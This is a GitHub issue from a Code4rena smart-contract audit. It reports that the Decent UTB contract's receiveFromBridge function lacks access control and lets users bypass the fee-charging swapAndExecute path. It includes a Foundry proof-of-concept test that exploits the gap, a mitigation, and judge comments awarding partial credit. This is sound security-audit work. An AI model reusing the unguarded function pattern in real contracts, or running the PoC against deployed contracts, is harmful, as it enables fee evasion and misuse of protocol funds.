Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lack of ACL in receiveFromBridge function #750

Closed
c4-bot-10 opened this issue Jan 23, 2024 · 4 comments
Closed

Lack of ACL in receiveFromBridge function #750

c4-bot-10 opened this issue Jan 23, 2024 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-590 partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) sufficient quality report This report is of sufficient quality

Comments

@c4-bot-10
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-01-decent/blob/main/src/UTB.sol#L311-L319

Vulnerability details

Impact

In the UTB contract, we have the receiveFromBridge function:
UTB.sol#L311-L319

    function receiveFromBridge(
        SwapInstructions memory postBridge,
        address target,
        address paymentOperator,
        bytes memory payload,
        address payable refund
    ) public {
        _swapAndExecute(postBridge, target, paymentOperator, payload, refund);
    }

This function does not have access control, so it can be called by any user, rendering the swapAndExecute function useless, which has access control and fees to be paid:
UTB.sol#L108-L124

    function swapAndExecute(
        SwapAndExecuteInstructions calldata instructions,
        FeeStructure calldata fees,
        bytes calldata signature
    )
        public
        payable
        retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
    {
        _swapAndExecute(
            instructions.swapInstructions,
            instructions.target,
            instructions.paymentOperator,
            instructions.payload,
            instructions.refund
        );
    }

Proof of Concept

The following test can be used to validate missing ACL:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {ERC20} from "solmate/tokens/ERC20.sol";
import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol";
import {UTBExecutor} from "../src/UTBExecutor.sol";
import {UniSwapper} from "../src/swappers/UniSwapper.sol";
import {SwapParams} from "../src/swappers/SwapParams.sol";
import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol";
import "forge-std/console.sol";

contract UTBExactOutRoutesTest is XChainExactOutFixture {
    function setUp() public {
        src = optimism;
        dst = arbitrum;
        preSlippage = 2;
        postSlippage = 3;
        initialEthBalance = 1 ether;
        initialUsdcBalance = 10e6;
        MINT_GAS = 9e5;

        setRuntime(ENV_FORGE_TEST);
        loadAllChainInfo();
        setupUsdcInfo();
        setupWethHelperInfo();
        loadAllUniRouterInfo();
        setSkipFile(true);
        vm.label(alice, "alice");
        vm.label(bob, "bob");
    }

    function testSwapWethToUsdcAndMintAnNft() public {
        string memory chain = arbitrum;
        (
            UTB utb,
            /*UTBExecutor executor*/,
            UniSwapper swapper,
            ,
            ,

        ) = deployUTBAndItsComponents(chain);
        uint256 slippage = 1;

        address weth = getWeth(chain);
        address usdc = getUsdc(chain);

        cat = deployTheCat(chain);
        uint usdcOut = cat.price();

        (SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
            chain,
            weth,
            usdc,
            usdcOut,
            slippage
        );

        address payable refund = payable(alice);

        SwapInstructions memory swapInstructions = SwapInstructions({
            swapperId: swapper.getId(),
            swapPayload: abi.encode(swapParams, address(utb), refund)
        });

        mintWethTo(chain, alice, swapParams.amountIn);
        startImpersonating(alice);
        ERC20(weth).approve(address(utb), swapParams.amountIn);

        SwapAndExecuteInstructions
            memory instructions = SwapAndExecuteInstructions({
                swapInstructions: swapInstructions,
                target: address(cat),
                paymentOperator: address(cat),
                refund: refund,
                payload: abi.encodeCall(cat.mintWithUsdc, (bob))});

        (bytes memory signature,FeeStructure memory fees) = getFeesAndSignature(instructions);

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));

        utb.swapAndExecute(instructions, fees, signature);

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));
        vm.prank(bob);
        utb.receiveFromBridge(instructions.swapInstructions , instructions.target, instructions.paymentOperator, instructions.payload , instructions.refund );
        stopImpersonating();

        console.logUint(ERC20(usdc).balanceOf(address(cat)));
        console.logUint(ERC20(weth).balanceOf(refund));
    }
}

Use the following command to run the test:

forge test --match-test "testSwapWethToUsdcAndMintAnNft" -vv

Tools Used

vscode

Recommended Mitigation Steps

Implement an ACL in the receiveFromBridge function, allowing only access from the bridge adapter.

Assessed type

Access Control

@c4-bot-10 c4-bot-10 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Jan 23, 2024
c4-bot-8 added a commit that referenced this issue Jan 23, 2024
@c4-pre-sort
Copy link

raymondfam marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Jan 25, 2024
@c4-pre-sort
Copy link

raymondfam marked the issue as duplicate of #15

@alex-ppg
Copy link

alex-ppg commented Feb 3, 2024

Insufficient emphasis has been set on the fee-dodging mechanism, and the UTB::swapAndExecute function does not have ACL but rather signature validation of its payloads.

@c4-judge
Copy link

c4-judge commented Feb 3, 2024

alex-ppg marked the issue as partial-75

@c4-judge c4-judge added partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) duplicate-590 and removed duplicate-15 labels Feb 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-590 partial-75 Incomplete articulation of vulnerability; eligible for partial credit only (75%) sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

4 participants